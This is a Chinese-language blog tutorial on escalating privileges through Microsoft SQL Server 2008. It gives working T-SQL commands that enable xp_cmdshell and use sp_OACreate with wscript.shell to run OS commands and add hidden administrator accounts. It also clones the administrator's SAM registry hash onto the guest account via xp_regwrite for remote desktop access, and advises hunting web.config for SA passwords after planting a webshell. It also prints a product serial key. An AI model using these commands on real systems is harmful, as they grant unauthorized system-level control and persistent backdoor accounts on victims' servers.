MSSQL/SQL Server 提权手法详解
@[TOC](SQL Server 提权手法详解)
环境:Win10 、SQL Server 2008
一、SQL Server 的安装
介绍:
Microsoft SQLServer是一个C/S模式的强大的关系型数据库管理系统,应用领域十分广泛,从网站后台数据库到一些MIS(管理信息系统)到处都可以看到它的身影。
点击exe后,点击setup
点击“安装”,点击“全新安装或向现有安装添加功能”
确定
输入序列号PTTFM-X467G-P7RH2-3Q6CG-4DMYB
后续操作如下图
注意“全选”
点击“对所有SQL Server服务使用相同的账户”
NT AUTHORITY\SYSTEM
点击“添加当前用户”,会自动添加当前用户
点击“添加当前用户”,会自动添加当前用户
一直下一步,直至安装成功
二、SQL Server SA用户的添加
右键数据库,点击“属性”,然后点击确定
重启sql server 点击“安全性”“登录名”找到“SA”设置这个用户的密码
接着还在这个对话框中,我们点击左上角的第二个属性服务器角色(server roles),这里是你为添加该用户要实现哪些角色。一般我们自己使用都是配置最高权限的角色,一个是public ,还有一个是sysadmin。
接着我们还在这对话框,我们点击最后一个属性,也就是状态属性(Status),在这个状态栏中,我们只需要勾选上面一栏是否允许连接到数据库引擎(Permission to connect to database engine) 选择 grant(授予);
下面一栏:登录 选择启用(Enabled)。
添加好后,点击【确定】,再次来到数据库这边,我们右键数据库,重新启动(Restart),重新启动数据库服务,这样能够将我们刚才配置好的加载起来。重新启动完成之后,我们就可以使用sa用户登录了
之后在navicat中连接,输入数据如下
三、原理
“存储过程”:其实质就是一个“集合”,那么是什么样的结合呢,就是存储在SqlServer中预先定义好的“SQL语句集合”,说的更直白一些就是使用T-SQL语言编写好的各种小脚本共同组成的集合体,我们称之为“存储过程”。而存储过程中的这些小脚本中,其危险性最高的“小脚本”就是扩展存储过程中的“xp_cmdshell脚本”,它可以执行操作系统的任何指令。如果我们能够获取SA的管理员权限,我们就可以使用SA的管理权限可以直接执行扩展存储过程中的“xp_cmdshell脚本”,并获得返回值。
xp_cmdshell:
xp_cmdshell可以执行系统命令,该组件默认是关闭的,因此需要把它打开。xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure重新开启它
MSSQL的权限:
在Windows server类的操作系统上,默认具有system权限。System权限在Windows server2003中权限仅比admin小;而在2003以上的版本,则为系统权限
初期流程:
1、获取SA密码
获取webshell之后可尝试在服务器各个站点的目录寻找sa的密码(某些站点直接在web应用程序中使用sa连接数据库),一般情况下,.net的站点数据库连接字符串在web.config或者和global.aspx也有可能是编译在DLL文件当中
2、判断端口
通过端口扫描查看1433(mssql默认端口)是否对外开放。如果对外开放则使用sql连接器进行提权,如果没有对外开放,则使用webshell自带的mssql数据库连接功能连接至mssql数据库。
四、xp_cmd提权过程
目的:创建一个新的administrator用户
1、开始xp_cmd扩展功能
use master;
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'xp_cmdshell',1;
reconfigure;
##1开启,0关闭,关闭时从xp_cmdshell ---> options依次关闭
2、任意命令执行
use master;
exec master..xp_cmdshell "whoami";
use master;
exec master..xp_cmdshell "ipconfig";
3、添加用户
use master;
exec master..xp_cmdshell "net user 123 123/add";
4、添加用户到管理员组
use master;
exec master..xp_cmdshell "net localgroup administrators 123 /add";
五、OLE提权过程
首先还是xp_cmd,当xp_cmd被删除或出错的情况下,利用SP_OACreate
OLE 这系列的存储过程有
sp_OACreate,sp_OADestroy,sp_OAGetErrorInfo,sp_OAGetProperty,sp_OAMethod,sp_OASetProperty,sp_OAStop
1、打开SP_OACreate选项
use master;
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0;
2、添加用户456
注意是没有回显的
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 456 456 /add'
3、添加用户456至管理员权限组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 456/add'
六、xp_regread & xp_regwrite克隆账号
利用xp_regread 与 xp_regwrite两个存储过程脚本可以直接读取与写入注册表,所以我们可以利用这个两个存过过程来实现对“远程主机”的administrator超级管理员账号进行克隆,从而实现对目标主机的控制。
1、获取administrator的加密密码
xp_regread 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F4','F';
下图是navicat中的显示,并没有完全显示加密密码
下图是在靶机sql server中执行语句的结果
2、将加密密码赋值给guest账号
xp_regwrite 'HKEY_LOCAL_MACHINE','SAM\SAM\Domains\Account\Users\000001F5','F','reg_binary',0x0300010000000000000000000000000000000000000000000000000000000000FFFFFFFFFFFFFF7F0000000000000000F40100000102000011020000000000000000000001000000000000004A010C00;
3、使用guest账号登录远程桌面管理
注意:此条件的使用需要guest 用户在“远程桌面用户组”,否则出现不允许远程登录的情况;
针对此问题,我们尝试将guest用户添加到“administrators”组或者“Remote Desktop Users”。
-
guest账户需要被启用;
-
guest 账户需要在“Remote Desktop Users”
解决如下:
exec master..xp_cmdshell 'net user guest /active:yes';
exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" a /add';
- 点赞
- 收藏
- 关注作者
评论(0)